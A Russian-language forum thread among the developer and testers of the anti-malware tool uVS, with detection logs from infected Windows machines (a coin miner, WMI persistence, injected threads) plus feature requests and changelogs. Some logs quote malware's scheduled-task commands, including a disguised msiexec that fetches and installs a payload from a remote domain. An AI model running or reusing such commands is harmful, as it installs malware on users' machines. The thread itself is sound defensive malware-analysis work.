uVS - Тестирование

[PR55.RP55 83]

Demkd

А можно так сделать, чтобы uVS определял тип объекта.

т.е. определял к какому типу вирусов, или нежелательных объектов он принадлежит.

+

63388794 байт

Там наверное может быть куча повторений кода.

Можно ли сделать так, чтобы uVS  находил повторения.

Ведь странно, если данные многократно повторяются.

Конечно не для всех объектов списка - а для критически значимых.

[santy 153]

еще одна тема с майнингом, внедренными потоками, ipsec, WMI

https://forum.esetnod32.ru/forum6/topic14957/

demkd,

интересно, как здесь все увязано? :)

Цитата

 

Полное имя                  C:\WINDOWS\TEMP\CONHOST.EXE
Имя файла                   CONHOST.EXE
Тек. статус                 АКТИВНЫЙ ВИРУС ПОДОЗРИТЕЛЬНЫЙ
                            
Обнаруженные сигнатуры      
Сигнатура                   Trojan:Win32/CoinMiner.C!cl (delall) [глубина совпадения 64(64), необх. минимум 8, максимум 64] 2018-09-14
                            
Сохраненная информация      на момент создания образа
Статус                      АКТИВНЫЙ ПОДОЗРИТЕЛЬНЫЙ
Процесс                     32-х битный
File_Id                     5B99F44788000
Linker                      10.0
Размер                      219648 байт
Создан                      04.09.2018 в 17:32:47
Изменен                     14.09.2018 в 12:32:23
                            
TimeStamp                   13.09.2018 в 05:23:19
EntryPoint                  +
OS Version                  5.0
Subsystem                   Windows character-mode user interface (CUI) subsystem
IMAGE_FILE_DLL              -
IMAGE_FILE_EXECUTABLE_IMAGE +
Тип файла                   32-х битный ИСПОЛНЯЕМЫЙ
Цифр. подпись               Отсутствует либо ее не удалось проверить
                            
Оригинальное имя            ups.exe
Версия файла                1.0.0.8
Описание                    TODO: <文件说明>
Производитель               TODO: <公司名>
                            
Статус                      ПОДОЗРИТЕЛЬНЫЙ ОБЪЕКТ
Путь до файла               Типичен для вирусов и троянов
Путь до файла               Не_типичен для этого файла [имя этого файла есть в известных]
                            
Доп. информация             на момент обновления списка
pid = 3260                  NT AUTHORITY\система
CmdLine                     C:\Windows\Temp\conhost.exe
Процесс создан              12:32:23 [2018.09.14]
С момента создания          00:28:51
parentid = 624              C:\WINDOWS\SYSTEM32\WINLOGON.EXE
SHA1                        71F76E639B1DEFF2C40A052A5587EC1FB2D8855A
MD5                         15F4DC3E2AA85E4B304D419797EB9BDD
                            
Образы                      EXE и DLL
CONHOST.EXE                 C:\WINDOWS\TEMP

 

 

Цитата

 

Полное имя                  WMI_.[FUCKYOUMM2_FILTER]
Имя файла                   WMI_.[FUCKYOUMM2_FILTER]
Тек. статус                 в автозапуске
                            
Сохраненная информация      на момент создания образа
Статус                      в автозапуске
                            
Namespace                   \\.\root\subscription
Filter_Name                 fuckyoumm2_filter
Filter_Class                __EventFilter
Filter_Query                select * from __timerevent where timerid="fuckyoumm2_itimer"
#MOF_Bind#                  
instance of __FilterToConsumerBinding
{
    Consumer = "\\\\.\\root\\subscription:ActiveScriptEventConsumer.Name=\"fuckyoumm2_consumer\"";
    Filter = "\\\\.\\root\\subscription:__EventFilter.Name=\"fuckyoumm2_filter\"";
};

#MOF_Event#                 
instance of __EventFilter
{
    Name = "fuckyoumm2_filter";
    Query = "select * from __timerevent where timerid=\"fuckyoumm2_itimer\"";
    QueryLanguage = "wql";
};

                            

 

(!) ПРЕДУПРЕЖДЕНИЕ: Обнаружен внедренный поток в процессе C:\WINDOWS\SYSTEM32\SVCHOST.EXE [728], tid=3412

 

Active IPSec Policy [Local]: SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{9470fdb0-aa4e-4837-87e8-1678ec5e2287}

 

----------------------

+

впервые вижу такое предупреждение в логах:

(!) Не удалось открыть ключ: [Недостаточно системных ресурсов для завершения операции. ]

HKLM\wopcocnft\{D94EE5D8-D189-4994-83D2-F68D7D41B0E6}

(!) Не удалось открыть ключ: [Недостаточно системных ресурсов для завершения операции. ]

HKLM\System\CurrentControlSet\Services\{EBD2F9CE-C188-493C-A87E-46B8D05F2B98}

[demkd 638]

 

1 час назад, santy сказал:

parentid = 624              C:\WINDOWS\SYSTEM32\WINLOGON.EXE

Вот это не хорошо, ссылок никаких не видно, как запуск произошел не ясно, видимо появился какой-то ключ у winlogon позволяющий запускать левые exe, или известный ключ был скрыт.

 

1 час назад, santy сказал:

(!) Не удалось открыть ключ: [Недостаточно системных ресурсов для завершения операции. ]

это странно или что-то не так пошло при подключении реестра или ключ таки защищенный.
внедренных тоже излишне много причем в 64-х разрядных процессах, обычно используют 32-х битные для контроля за работой майнера и блокировки запуска uVS/AVZ и антивирусов, а то и деструктивных действий, мне как-то попадался случай что попытка вырубить майнер или просто внести его хэш в список запрещенных к запуску мгновенно кончался синим экраном.

[santy 153]

36 минут назад, demkd сказал:

обычно используют 32-х битные для контроля за работой майнера и блокировки запуска uVS/AVZ и антивирусов, а то и деструктивных действий, мне как-то попадался случай что попытка вырубить майнер или просто внести его хэш в список запрещенных к запуску мгновенно кончался синим экраном.

предложение: при работе с образом при нажатии функции "заморозить внедренные потоки" добавить в скрипт команду icsuspend

[demkd 638]

13 минут назад, santy сказал:

предложение: при работе с образом при нажатии функции "заморозить внедренные потоки" добавить в скрипт команду icsuspend

да, это в след версии будет

[Vvvyg 12]

Саш, там ещё и буткит в MBR, скорее всего, я в теме https://virusinfo.info/showthread.php?t=220041 с LiveCD лечил. И на https://forum.kasperskyclub.ru/index.php?showtopic=60170&amp;page=3 то же самое. Причём, вживую его KVRT и TDSSKiller пока не видят и не лечат, дроппер сейчас в ЛК препарируют.

[santy 153]

21 минут назад, Vvvyg сказал:

Саш, там ещё и буткит в MBR, скорее всего

да, судя по образам темы похожи.... проверим с live cd, если пользователь не потеряется.

[demkd 638]

Небольшой багфикс, проблема с неактивной системной проявилась в .12 версии, одно лечишь другое калечишь...
---------------------------------------------------------
 4.0.16
---------------------------------------------------------
 o Исправлена ошибка при работе с неактивной системой: некоторые системные файлы имели в пути лишний "\".

 o Теперь при работе с образом скриптовая команда icsuspend добавляется через пункт меню "Руткиты->Заморозить все внедренные потоки во всех процессах".

 

[PR55.RP55 83]

Цитата

Demkd пишет:       разве что драйвера не отображается, но это можно добавить

Новая версия вышла - а displayname не добавлена ?

--------------

Цитата

Demkd пишет:    o Исправлена ошибка при работе с неактивной системой:    

Я же писал, что _есть проблема при работе с реестром.

----------------

Ещё бы вычислять нагрузку на процессор и расход\выделение памяти, работает ли объект с видеокартой -хотя бы в качестве предположения\гипотезы.

 

 

[demkd 638]

3 минуты назад, PR55.RP55 сказал:

Новая версия вышла - а displayname не добавлена ?

нет, это оказалось не так просто, описание лежит в ресурсах самих файлов в большинстве случаев и мне сильно не понравилась идея грузить их себе в адресное пространство даже в качестве ресурсов без активации, тут надо будет провести эксперименты насчет производительности и безопасности.
 

5 минут назад, PR55.RP55 сказал:

Я же писал, что _есть проблема при работе с реестром.

Это не проблема с реестром это проблема в одной конкретной функции добавлявшей лишний слеш в путь.
 

6 минут назад, PR55.RP55 сказал:

Ещё бы вычислять нагрузку на процессор и расход\выделение памяти, работает ли объект с видеокартой -хотя бы в качестве предположения\гипотезы.

Это скорее всего появится в той или иной форме.

[PR55.RP55 83]

Цитата

Demkd пишет:   

нет, это оказалось не так просто, описание лежит в ресурсах самих файлов в большинстве случаев и мне сильно не понравилась идея грузить их себе в адресное пространство даже в качестве ресурсов без активации, тут надо будет провести эксперименты насчет производительности и безопасности.     

Не пойму для чего такие сложности.

Есть командная строка и вывод полученной с её помощью информации в _файл.

После вывода информацию прогнать через фильтр и взять нужные данные.

[PR55.RP55 83]

+

https://forum.esetnod32.ru/messages/forum6/topic14960/message104409/#message104409

Полное имя                  C:\WINDOWS\SYSTEM32\WBEM\WMIC.EXE
Имя файла                   WMIC.EXE
Тек. статус                 ?ВИРУС? ПРОВЕРЕННЫЙ ПОДОЗРИТЕЛЬНЫЙ в автозапуске
                            
Сохраненная информация      на момент создания образа
Статус                      ПРОВЕРЕННЫЙ в автозапуске
File_Id                     619C468E84000
Linker                      14.12
Размер                      521728 байт
Создан                      12.04.2018 в 03:34:39
Изменен                     12.04.2018 в 03:34:39
                            
TimeStamp                   23.11.2021 в 01:40:30
EntryPoint                  +
OS Version                  0.0
Subsystem                   Windows character-mode user interface (CUI) subsystem
IMAGE_FILE_DLL              -
IMAGE_FILE_EXECUTABLE_IMAGE +
Тип файла                   64-х битный ИСПОЛНЯЕМЫЙ
Цифр. подпись               Действительна, подписано Microsoft Windows
                            
Оригинальное имя            wmic.exe.mui
Версия файла                10.0.17134.1 (WinBuild.160101.0800)
Описание                    Служебная программа командной строки WMI
Производитель               Microsoft Corporation
                            
Доп. информация             на момент обновления списка
CmdLine                     PATH SOFTWARELICENSINGPRODUCT WHERE (ID="2DE67392-B7A7-462A-B1CA-108DD189F588") CALL ACTIVATE
SHA1                        BF0B46AE28A0DCCC62CF1F3C32B60A46EA928C52
MD5                         EC80E603E0090B3AC3C1234C2BA43A0F
                            
Ссылки на объект            
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\R@1n-KMS\WINDOWS64PROFESSIONAL

-----------------

Не помню чтобы KMS так прописывали.

как то это странно выглядит.

                            

[demkd 638]

2 часа назад, PR55.RP55 сказал:

Есть командная строка и вывод полученной с её помощью информации в _файл.

так будет еще медленней и мало того оно не будет работать с неактивной системой xD

[PR55.RP55 83]

Цитата

Demkd пишет:   так будет еще медленней и мало того оно не будет работать с неактивной системой xD

Пусть не работает с неактивной системой - переживём

-------------------------

Хотелось бы чтобы в наименовании файла\образа фигурировала версия программы.

PC_uVS v3.81.9-2018-09-14_21-49-21.7z

тогда и скачивать файл не будет необходимости, а сразу требовать от пользователя образ в актуальной версии.

[PR55.RP55 83]

1) uVS способен определить работает ли он с неактивной системой, или активной.

Думаю, что в случае с неактивной системой взять описание лежащее в ресурсах самих файлов  загрузив их себе в адресное пространство  не проблема.

А в случае с активной системой есть командная строка.

т.е. совмещаем методики.

Вероятно также необходимо сравнивать данные из реестра и данные из файла на предмет расхождения.

2) По поводу скрытых объектов и их обнаружения.

Обнаружение методом холодной перезагрузки – то есть при помощи выключения\перезагрузки компьютера без остановки выполняемых процессов. После перезагрузки восстанавливаются данные сохранённые в оперативной памяти.

( Предварительно при необходимости  отключаем механизм перезаписи. )

И далее  идёт сравнение с текущими данными на предмет расхождения.

3) В случае когда у пользователя\оператора нет внешнего диска можно реализовать загрузочный раздел WinPE

На  разделе жёсткого диска.

Скажем на HDD два диска: С и E  выбираем диск E.

На диск копируются нужные данные, прописывается загрузчик.

Таким образом мы можем выполнить загрузку с дика E. и работать с неактивной системой дика C.

 

[demkd 638]

3 часа назад, PR55.RP55 сказал:

А в случае с активной системой есть командная строка.

это бред, и вообще для предложений есть отдельная ветка

 

[santy 153]

16 часов назад, PR55.RP55 сказал:

Хотелось бы чтобы в наименовании файла\образа фигурировала версия программы.

PC_uVS v3.81.9-2018-09-14_21-49-21.7z

тогда и скачивать файл не будет необходимости, а сразу требовать от пользователя образ в актуальной версии.

поддерживаю, например таким образом: PC01_2018-09-14_21-49-21_v381.7z, это иногда поможет хелперу сэкономить время решения проблемы, хотя юзер может и сменить имя образа на произвольное. Но в большинстве случаев этого никто не делает.

[demkd 638]

48 минут назад, santy сказал:

Хотелось бы чтобы в наименовании файла\образа фигурировала версия программы.

в принципе не лишено смысла

[PR55.RP55 83]

Полное имя                  C:\PROGRAM FILES (X86)\COMMON FILES\CHQKBEIUJGRWN.EXE
Имя файла                   CHQKBEIUJGRWN.EXE
Тек. статус                 ?ВИРУС? ПРОВЕРЕННЫЙ ПОДОЗРИТЕЛЬНЫЙ в автозапуске
                            
www.virustotal.com          2018-09-16
-                           Файл был чист на момент проверки.
                            
Удовлетворяет критериям     
КЛЮЧ: I ДЛЯ HTTP            ( ~ /I HTTP)(1) [skip (0)]
                            
Сохраненная информация      на момент создания образа
Статус                      ПРОВЕРЕННЫЙ в автозапуске
File_Id                     5B691DED12000
Linker                      14.0
Размер                      58880 байт
Создан                      03.01.1601 в 20:33:16
Изменен                     03.01.1601 в 20:33:16
                            
TimeStamp                   07.08.2018 в 04:19:57
EntryPoint                  +
OS Version                  10.0
Subsystem                   Windows graphical user interface (GUI) subsystem
IMAGE_FILE_DLL              -
IMAGE_FILE_EXECUTABLE_IMAGE +
Тип файла                   32-х битный ИСПОЛНЯЕМЫЙ
Цифр. подпись               Действительна, подписано Microsoft Windows
                            
Оригинальное имя            msiexec.exe
Версия файла                5.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)
Описание                    Windows® installer
Производитель               Microsoft Corporation
                            
Доп. информация             на момент обновления списка
CmdLine                     /Q /I HTTP://REFRESHNERER1309RB.INFO/VZ968UP6.8PX
SHA1                        89A76EC5F7465D3ED350652511112131520F8E69
MD5                         0BDEAEA7BB4AE7822416CD37EA8EE00D
                            
Ссылки на объект            
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\{81DA9C03-E28A-E84B-B5E5-BDABC439D593}
                            
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{7EAA75F8-DC46-47F2-A65A-7950EE753339}\Actions
Actions                     "C:\Program Files (x86)\Common Files\cHQkBeIuJgRWN.exe" /q /i http://refreshnerer1309rb.info/Vz968up6.8PX
                            
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{7EAA75F8-DC46-47F2-A65A-7950EE753339}\

-----------------------

uVS , если не создано спец. критериев такой объект просто поместит в проверенные, что не допустимо.

Все известные объекты путь до которых не соответствен типичному пути должны автоматически помещаться в подозрительные.

https://forum.esetnod32.ru/messages/forum6/topic14965/message104433/?result=edit#message104433
                            

[demkd 638]

3 часа назад, PR55.RP55 сказал:

Все известные объекты путь до которых не соответствен типичному пути должны автоматически помещаться в подозрительные.

в списке известных нет файла с именем CHQKBEIUJGRWN.EXE, так что это обычный проверенный файл.
а в данном случае нужно обращать внимание на объект HTTP://*

[PR55.RP55 83]

Зато в списке известных есть файл:  msiexec.exe

Оригинальное имя msiexec.exe

Что нормального в том, что известный системный файл лежит в:  C:\PROGRAM FILES...

и мало того _ файл в автозапуске.

Обычный файл ?

Это не дело.

---------------

HDD и загрузка с него WinPE - не бред.

Я у себя сделал WinPE 10 прекрасно всё работает.  и в 5 раз быстрее загружается чем с usb носителя.

 

 

[demkd 638]

4 минуты назад, PR55.RP55 сказал:

Оригинальное имя msiexec.exe

как говорится на заборе тоже много чего написано
 

4 минуты назад, PR55.RP55 сказал:

Я у себя сделал WinPE 10 прекрасно всё работает.  и в 5 раз быстрее загружается чем с usb носителя.

а должно быть наоборот, winpe грузится с флешки секунд за 10 не больше, но никто не запрещает и с винта грузится, но это не слишком разумно.

[PR55.RP55 83]

Это не конструктивно.

Конструктивно так:

Статус: " Известный системный файл с  оригинальным именем. "

и от этого уже можно плясать.

 

 

[demkd 638]

В 17.09.2018 at 12:56 AM, PR55.RP55 сказал:

Статус: " Известный системный файл с  оригинальным именем. "

системных файлов с "оригинальным" именем отличным от реального ТЫСЯЧИ даже в только что установленном windows поэтому это очень глупое предложение.

---------------------------------------------------------
 4.0.17
---------------------------------------------------------
 o В описание сервиса/драйвера добавлены поля DisplayName, Description, Owners.

 o В имя образа по умолчанию добавлена версия uVS.

 

[PR55.RP55 83]

В теме к сожалению работали с устаревшими версиями uVS .4.0

В uVS  запись:

C:\PROGRAM FILES (X86)\GOOGLE\CHROME\APPLICATION\CHROME.EXE

C:\WINDOWS\SYSTEM32\TASKS\{B3F8DFD8-6BC7-3786-4E00-E03FE910D91A}

------------

В FRST запись:

Task: {0EA205A7-5227-418F-A262-BBF8FD9349B0} - System32\Tasks\{B3F8DFD8-6BC7-3786-4E00-E03FE910D91A} => "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" hxxp://nbsallastar.com/cl/?guid=y92wjhgqs5boj6xi0hl7thkb6nfjreyg&prid=1&pid=4_1106_0

{0EA205A7-5227-418F-A262-BBF8FD9349B0}  - нет

{B3F8DFD8-6BC7-3786-4E00-E03FE910D91A}  - есть

Да, актуальная версия должна бы это увидеть.

Из Fixlog

"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{0EA205A7-5227-418F-A262-BBF8FD9349B0}" => removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0EA205A7-5227-418F-A262-BBF8FD9349B0}" => removed successfully
C:\Windows\System32\Tasks\{B3F8DFD8-6BC7-3786-4E00-E03FE910D91A} => moved successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{B3F8DFD8-6BC7-3786-4E00-E03FE910D91A}" => removed successfully